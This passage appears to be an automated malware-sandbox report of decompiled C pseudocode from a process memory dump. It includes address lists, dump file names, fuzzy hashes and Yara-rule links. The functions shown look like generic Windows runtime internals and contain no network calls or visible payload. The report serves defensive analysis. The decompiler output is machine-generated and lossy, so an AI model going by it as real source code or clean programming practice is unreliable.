						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E02DF8D34(_v8, _t80);
					}
					E02D42280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E02D3FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t30 = _t80 + 0xd0; // 0xd0
						_t83 = _t30;
						E02DF8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E02D3FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E02D6B180();
						if(_a4 != 0) {
							E02D42280(_t48, _t81);
						}
					} else {
						_t69 = _v8;
						_t12 = _t80 + 0x98; // 0x98
						_t13 = _t69 + 0xc; // 0x575651ff
						E02D4BB2D(_t13, _t12);
						_t71 = _v8;
						_t15 = _t80 + 0xb0; // 0xb0
						_t16 = _t71 + 8; // 0x8b000cc2
						E02D4BB2D(_t16, _t15);
						E02D4B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E02D3FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							_t25 = _t80 + 0x90; // 0x90
							E02D3FFB0(0, _t80, _t25);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					_t24 = _t80 + 0x90; // 0x90
					E02D3FFB0(0, __ecx, _t24);
				}
				return 0;
			}

0x02d4c18d
0x02d4c18f
0x02d4c191
0x02d4c19b
0x02d4c1a0
0x02d4c1d4
0x02d4c1de
0x02d92d6e
0x02d4c1e4
0x02d4c1e4
0x02d4c1e4
0x02d4c1ec
0x02d92d7d
0x02d92d7d
0x02d4c1f3
0x02d4c1ff
0x02d92d88
0x02d92d8d
0x02d92d94
0x02d92d94
0x02d92d9f
0x02d92da4
0x02d92dab
0x02d92db0
0x02d92db2
0x02d92db3
0x02d92db4
0x02d92dbc
0x02d92dc3
0x02d92dc3
0x02d4c205
0x02d4c205
0x02d4c208
0x02d4c20e
0x02d4c211
0x02d4c216
0x02d4c219
0x02d4c21f
0x02d4c222
0x02d4c22c
0x02d4c234
0x02d4c23a
0x02d4c23f
0x02d4c245
0x02d4c24b
0x02d4c251
0x02d4c25a
0x02d4c276
0x02d4c27d
0x02d4c27d
0x02d4c25c
0x02d4c25c
0x00000000
0x02d4c25e
0x02d4c1a4
0x02d4c1aa
0x02d4c1b3
0x02d4c265
0x02d4c26c
0x02d4c26c
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction ID: ca22ba74fb5e1e4f5b494bb28732d2b6050a7491a8a2f5cc5d6629d1c6b97b09
Opcode Fuzzy Hash: b4a3881b78bd852e90f123f8f308f7d6cb7f2242736900428c2759f2d7e2a9ea
Instruction Fuzzy Hash: 5B310071A0654AAFDB05EBB4C480BE9F755FF52308F04815BD81887341DB74AE49DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D68EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E02D68EC7(void* __ecx, void* __edx) {
				signed int _v8;
				signed int* _v16;
				intOrPtr _v20;
				signed int* _v24;
				char* _v28;
				signed int* _v32;
				intOrPtr _v36;
				signed int* _v40;
				signed int* _v44;
				signed int* _v48;
				intOrPtr _v52;
				signed int* _v56;
				signed int* _v60;
				signed int* _v64;
				intOrPtr _v68;
				signed int* _v72;
				char* _v76;
				signed int* _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				signed int* _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				signed int* _v152;
				char _v156;
				signed int* _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x2e1d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E02D54E70(0x2e186e4, 0x2d69490, 0, 0);
					if( *0x2e153e8 > 5 && E02D68F33(0x2e153e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x2e153e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x2e153e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x2d0bc46;
						_t48 = E02DA7B9C(0x2e153e8, 0x2d0bc46, _t67, 0x2e153e8, _t70,  &_v140);
					}
				}
				return E02D6B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x02d68ec7
0x02d68ed9
0x02d68edc
0x02d68ee6
0x02d68ee9
0x02d68eee
0x02d68efc
0x02d68f08
0x02da1349
0x02da1353
0x02da135d
0x02da1366
0x02da136f
0x02da1375
0x02da137c
0x02da1385
0x02da1390
0x02da1391
0x02da139c
0x02da139d
0x02da13a6
0x02da13ac
0x02da13b2
0x02da13b5
0x02da13bc
0x02da13bf
0x02da13c2
0x02da13c5
0x02da13c8
0x02da13cb
0x02da13ce
0x02da13d1
0x02da13d4
0x02da13d7
0x02da13da
0x02da13dd
0x02da13e0
0x02da13e3
0x02da13e6
0x02da13e9
0x02da13f6
0x02da1400
0x02da1400
0x02d68f08
0x02d68f32

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce96e727b0027931a6e779478ebb9bcd6085261dc2e0a275254cbeeda0bdafdb
Instruction ID: c96eaed6ededa20be5f78330d79fda81d42c8099628debc8cf88f04dedfbf11e
Opcode Fuzzy Hash: ce96e727b0027931a6e779478ebb9bcd6085261dc2e0a275254cbeeda0bdafdb
Instruction Fuzzy Hash: 2F417FB1D002189FDB20CFAAD981AAEFBF5FB48710F5081AEE549A7340D7705A84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D5E730, Relevance: .1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E02D5E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				intOrPtr _t38;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E02D69670() < 0) {
					L02D7DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t38 =  *0x2e17b9c; // 0x0
						_t62 = _t52 & 0x000000ff;
						_t59 = L02D44620(8 + _t62 * 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M02D5E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x02d5e730
0x02d5e736
0x02d5e738
0x02d5e73d
0x02d5e73e
0x02d5e740
0x02d5e749
0x02d5e765
0x02d5e76a
0x02d5e76b
0x02d5e76c
0x02d5e76d
0x02d5e76e
0x02d5e76f
0x02d5e775
0x02d5e777
0x02d5e77e
0x02d9b675
0x02d5e784
0x02d5e784
0x02d5e789
0x02d5e7a8
0x02d5e7ac
0x02d5e807
0x02d5e7ae
0x02d5e7ae
0x02d5e7b1
0x02d5e7b4
0x02d5e7b9
0x02d5e7c0
0x02d5e7c4
0x02d5e7ca
0x02d5e7cc
0x00000000
0x02d5e7d3
0x02d5e7d6
0x00000000
0x00000000
0x02d5e7ff
0x02d5e802
0x00000000
0x00000000
0x02d5e7f9
0x02d5e7fc
0x00000000
0x00000000
0x02d5e7f3
0x02d5e7f6
0x00000000
0x00000000
0x02d5e7ed
0x02d5e7f0
0x00000000
0x00000000
0x02d5e7e7
0x02d5e7ea
0x00000000
0x00000000
0x02d9b685
0x02d9b688
0x00000000
0x00000000
0x02d9b682
0x00000000
0x00000000
0x02d5e7cc
0x02d5e7d9
0x02d5e7dc
0x02d5e7de
0x02d5e7de
0x02d5e7ac
0x02d5e7e4
0x02d5e74b
0x02d5e751
0x02d5e759
0x02d5e761
0x02d5e761

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d98cc006cb4decbf2d59879a6c15c777eabbb440f5409054686db4501e250db1
Instruction ID: 2166f89cf3873d051c6b3e20e371c0ad787680c8bc2685c939f6caa5e7714777
Opcode Fuzzy Hash: d98cc006cb4decbf2d59879a6c15c777eabbb440f5409054686db4501e250db1
Instruction Fuzzy Hash: 61318D75A14249AFDB04DF68D840F9ABBE4FB08314F148266FA04CB341D771ED90CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02D5BC2C, Relevance: .1, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E02D5BC2C(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				intOrPtr _t22;
				intOrPtr* _t41;
				intOrPtr _t51;

				_t51 =  *0x2e16100; // 0xa
				_v12 = __edx;
				_v8 = __ecx;
				if(_t51 >= 0x800) {
					L12:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t22 = _t51;
					asm("lock cmpxchg [ecx], edx");
					if(_t51 == _t22) {
						break;
					}
					_t51 = _t22;
					if(_t22 < 0x800) {
						continue;
					}
					goto L12;
				}
				E02D42280(0xd, 0xe66f1a0);
				_t41 =  *0x2e160f8; // 0x0
				if(_t41 != 0) {
					 *0x2e160f8 =  *_t41;
					 *0x2e160fc =  *0x2e160fc + 0xffff;
				}
				E02D3FFB0(_t41, 0x800, 0xe66f1a0);
				if(_t41 != 0) {
					L6:
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *((intOrPtr*)(_t41 + 0x1c)) = _v12;
					 *((intOrPtr*)(_t41 + 0x20)) = _a4;
					 *(_t41 + 0x36) =  *(_t41 + 0x36) & 0x00008000 | _a8 & 0x00003fff;
					do {
						asm("lock xadd [0x2e160f0], ax");
						 *((short*)(_t41 + 0x34)) = 1;
					} while (1 == 0);
					goto L8;
				} else {
					_t41 = L02D44620(0x2e16100,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xd0);
					if(_t41 == 0) {
						L11:
						asm("lock dec dword [0x2e16100]");
						L8:
						return _t41;
					}
					 *(_t41 + 0x24) =  *(_t41 + 0x24) & 0x00000000;
					 *(_t41 + 0x28) =  *(_t41 + 0x28) & 0x00000000;
					if(_t41 == 0) {
						goto L11;
					}
					goto L6;
				}
			}

0x02d5bc36
0x02d5bc42
0x02d5bc45
0x02d5bc4a
0x02d5bd35
0x00000000
0x00000000
0x00000000
0x00000000
0x02d5bc50
0x02d5bc50
0x02d5bc58
0x02d5bc5a
0x02d5bc60
0x00000000
0x00000000
0x02d9a4f2
0x02d9a4f6
0x00000000
0x00000000
0x00000000
0x02d9a4fc
0x02d5bc79
0x02d5bc7e
0x02d5bc86
0x02d5bd16
0x02d5bd20
0x02d5bd20
0x02d5bc8d
0x02d5bc94
0x02d5bcbd
0x02d5bcca
0x02d5bccb
0x02d5bccc
0x02d5bccd
0x02d5bcce
0x02d5bcd4
0x02d5bcea
0x02d5bcee
0x02d5bcf2
0x02d5bd00
0x02d5bd04
0x00000000
0x02d5bc96
0x02d5bcab
0x02d5bcaf
0x02d5bd2c
0x02d5bd2c
0x02d5bd09
0x00000000
0x02d5bd09
0x02d5bcb1
0x02d5bcb5
0x02d5bcbb
0x00000000
0x00000000
0x00000000
0x02d5bcbb

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2029ecc70c61b3ea7682616800bb583e0e3081a3dc8a616786c28861da185798
Instruction ID: 398dff06cfa937361b7a7ded6c27cb07eb5661b9589d6b27f053892212a1356b
Opcode Fuzzy Hash: 2029ecc70c61b3ea7682616800bb583e0e3081a3dc8a616786c28861da185798
Instruction Fuzzy Hash: E9310132A406259BCF11DF58C4807AA73A8FB18319F41447AED49DB305EBB4DE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D29100, Relevance: .1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E02D29100(signed int __ebx, void* __ecx, void* __edi, signed int __esi, void* __eflags) {
				signed int _t53;
				signed int _t56;
				signed int* _t60;
				signed int _t63;
				signed int _t66;
				signed int _t69;
				void* _t70;
				intOrPtr* _t72;
				void* _t78;
				void* _t79;
				signed int _t80;
				intOrPtr _t82;
				void* _t85;
				void* _t88;
				void* _t89;

				_t84 = __esi;
				_t70 = __ecx;
				_t68 = __ebx;
				_push(0x2c);
				_push(0x2dff6e8);
				E02D7D0E8(__ebx, __edi, __esi);
				 *((char*)(_t85 - 0x1d)) = 0;
				_t82 =  *((intOrPtr*)(_t85 + 8));
				if(_t82 == 0) {
					L4:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) == 0) {
						E02DF88F5(_t68, _t70, _t78, _t82, _t84, __eflags);
					}
					L5:
					return E02D7D130(_t68, _t82, _t84);
				}
				_t88 = _t82 -  *0x2e186c0; // 0x2e07b0
				if(_t88 == 0) {
					goto L4;
				}
				_t89 = _t82 -  *0x2e186b8; // 0x0
				if(_t89 == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L4;
				} else {
					E02D42280(_t82 + 0xe0, _t82 + 0xe0);
					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E02DF88F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E02D6AFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x2e1b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x2e184c0;
										if(_t69 >=  *0x2e184c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E02DF9063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E02D2922A(_t82);
							_t53 = E02D47D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E02DF8B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x2e186c0; // 0x2e07b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x2e186b8; // 0x0
									if(__eflags == 0) {
										_t79 = 0x2e186bc;
										_t72 = 0x2e186b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E02D29240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x2e186c4;
									_t72 = 0x2e186c0;
									L18:
									E02D59B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x02d29100
0x02d29100
0x02d29100
0x02d29100
0x02d29102
0x02d29107
0x02d2910c
0x02d29110
0x02d29115
0x02d29136
0x02d29143
0x02d837e4
0x02d837e4
0x02d29149
0x02d2914e
0x02d2914e
0x02d29117
0x02d2911d
0x00000000
0x00000000
0x02d2911f
0x02d29125
0x00000000
0x02d29151
0x02d29158
0x02d2915d
0x02d29161
0x02d29168
0x02d83715
0x00000000
0x02d2916e
0x02d2916e
0x02d29175
0x02d29177
0x02d2917e
0x02d2917f
0x02d29182
0x02d29182
0x02d29187
0x02d29187
0x02d2918a
0x02d2918d
0x02d2918f
0x02d29192
0x02d29195
0x02d29198
0x02d29198
0x02d29198
0x02d2919a
0x00000000
0x00000000
0x02d8371f
0x02d83721
0x02d83727
0x02d8372f
0x02d83733
0x02d83735
0x02d83738
0x02d8373b
0x02d8373d
0x02d83740
0x00000000
0x00000000
0x02d83746
0x02d83749
0x00000000
0x00000000
0x02d8374f
0x02d83751
0x00000000
0x00000000
0x02d83757
0x02d83759
0x02d8375c
0x02d8375c
0x02d8375e
0x02d8375e
0x02d83761
0x02d83764
0x00000000
0x00000000
0x02d83766
0x02d83768
0x02d837a3
0x02d837a3
0x02d837a5
0x02d837a7
0x02d837ad
0x02d837b0
0x02d837b2
0x02d837bc
0x02d837c2
0x02d837c2
0x02d837b2
0x02d29187
0x02d29187
0x02d2918a
0x02d2918d
0x02d2918f
0x02d29192
0x02d29195
0x00000000
0x02d29195
0x00000000
0x02d29187
0x02d8376a
0x02d8376a
0x02d8376c
0x02d8376c
0x02d8376f
0x02d83775
0x00000000
0x00000000
0x02d83777
0x02d83779
0x00000000
0x00000000
0x02d83782
0x02d83787
0x02d83789
0x02d83790
0x02d83790
0x02d8378b
0x02d8378b
0x02d8378b
0x02d83792
0x02d83795
0x02d83795
0x02d83798
0x02d83798
0x02d8379b
0x02d8379b
0x02d291a3
0x02d291a9
0x02d291b0
0x02d291b4
0x02d291b4
0x02d291bb
0x02d291c0
0x02d291c5
0x02d291c7
0x02d837da
0x02d291cd
0x02d291cd
0x02d291cd
0x02d291d2
0x02d291d5
0x02d29239
0x02d29239
0x02d291d7
0x02d291db
0x02d291e1
0x02d291e7
0x02d291fd
0x02d29203
0x02d2921e
0x02d29223
0x00000000
0x02d29223
0x02d29205
0x02d29208
0x02d2920c
0x02d29214
0x02d29214
0x02d291e9
0x02d291e9
0x02d291ee
0x02d291f3
0x02d291f3
0x02d291f3
0x02d291e7
0x00000000
0x02d291db
0x02d29187
0x02d29168

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb339c724f480f9d0732fbc2a807b72ed5e4754b7598570ea894dc75ccb38a2
Instruction ID: 2b767e6bc468dfa391e8d09df12c9e61652741b27091a3779b7b1638403af46a
Opcode Fuzzy Hash: 3fb339c724f480f9d0732fbc2a807b72ed5e4754b7598570ea894dc75ccb38a2
Instruction Fuzzy Hash: 9A31E471A006A4DFEB22DF69C498BECBBB2BF58318F288159C40467340C334ED88CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02D40050, Relevance: .1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E02D40050(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;
				void* _t40;
				void* _t41;
				signed int _t44;
				intOrPtr _t47;
				signed int _t58;
				void* _t59;
				void* _t61;
				void* _t62;
				signed int _t64;

				_push(__ecx);
				_v8 =  *0x2e1d360 ^ _t64;
				_t61 = __ecx;
				_t2 = _t61 + 0x20; // 0x20
				E02D59ED0(_t2, 1, 0);
				_t52 =  *(_t61 + 0x8c);
				_t4 = _t61 + 0x8c; // 0x8c
				_t40 = _t4;
				do {
					_t44 = _t52;
					_t58 = _t52 & 0x00000001;
					_t24 = _t44;
					asm("lock cmpxchg [ebx], edx");
					_t52 = _t44;
				} while (_t52 != _t44);
				if(_t58 == 0) {
					L7:
					_pop(_t59);
					_pop(_t62);
					_pop(_t41);
					return E02D6B640(_t24, _t41, _v8 ^ _t64, _t52, _t59, _t62);
				}
				asm("lock xadd [esi], eax");
				_t47 =  *[fs:0x18];
				 *((intOrPtr*)(_t61 + 0x50)) =  *((intOrPtr*)(_t47 + 0x19c));
				 *((intOrPtr*)(_t61 + 0x54)) =  *((intOrPtr*)(_t47 + 0x1a0));
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t30 != 0) {
					if( *_t30 == 0) {
						goto L4;
					}
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					L5:
					if( *_t31 != 0) {
						_t18 = _t61 + 0x78; // 0x78
						E02DF8A62( *(_t61 + 0x5c), _t18,  *((intOrPtr*)(_t61 + 0x30)),  *((intOrPtr*)(_t61 + 0x34)),  *((intOrPtr*)(_t61 + 0x3c)));
					}
					_t52 =  *(_t61 + 0x5c);
					_t11 = _t61 + 0x78; // 0x78
					_t34 = E02D59702(_t40, _t11,  *(_t61 + 0x5c),  *((intOrPtr*)(_t61 + 0x74)), 0);
					_t24 = _t34 | 0xffffffff;
					asm("lock xadd [esi], eax");
					if((_t34 | 0xffffffff) == 0) {
						 *0x2e1b1e0(_t61);
						_t24 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4))))))();
					}
					goto L7;
				}
				L4:
				_t31 = 0x7ffe0386;
				goto L5;
			}

0x02d40055
0x02d4005d
0x02d40062
0x02d4006c
0x02d4006f
0x02d40074
0x02d4007a
0x02d4007a
0x02d40080
0x02d40080
0x02d40087
0x02d4008d
0x02d4008f
0x02d40093
0x02d40095
0x02d4009b
0x02d400f8
0x02d400fb
0x02d400fc
0x02d400ff
0x02d40108
0x02d40108
0x02d400a2
0x02d400a6
0x02d400b3
0x02d400bc
0x02d400c5
0x02d400ca
0x02d8c01e
0x00000000
0x00000000
0x02d8c02d
0x02d400d5
0x02d400d9
0x02d8c03d
0x02d8c046
0x02d8c046
0x02d400df
0x02d400e2
0x02d400ea
0x02d400ef
0x02d400f2
0x02d400f6
0x02d40111
0x02d40117
0x02d40117
0x00000000
0x02d400f6
0x02d400d0
0x02d400d0
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dce300e137baba1b4369f04fc35d7036a1b8901f24545e149d171434d481980
Instruction ID: cc29ae3ebc7aa3c82668dbb431e7dbecc470cc69ed490dff5d4d7a9c3e09cc44
Opcode Fuzzy Hash: 8dce300e137baba1b4369f04fc35d7036a1b8901f24545e149d171434d481980
Instruction Fuzzy Hash: 81316931601B04CFD726CB28C844B96B3E6FF88715F24896DE59687B90EB75AC01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DA6C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E02DA6C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E02D47D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x2e17b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L02D44620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
